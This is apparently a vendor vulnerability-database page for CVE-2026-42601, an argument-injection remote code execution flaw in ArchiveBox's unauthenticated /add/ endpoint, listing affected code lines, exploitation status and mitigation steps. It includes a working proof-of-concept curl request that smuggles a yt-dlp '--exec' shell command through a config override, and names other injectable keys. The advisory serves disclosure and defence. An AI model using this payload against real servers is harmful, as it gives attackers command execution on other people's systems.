CVE-2026-42601 — archivebox
CVE-2026-42601 is a CWE-88 vulnerability in archivebox. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42601.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
archiveboxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config: config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)
hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | archivebox | all versions | No fix |
Affected Products
archiveboxarchiveboxDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for archivebox, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of archivebox for CVE-2026-42601. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-42601 in your dependencies?
Find it across PyPI, including transitive dependencies.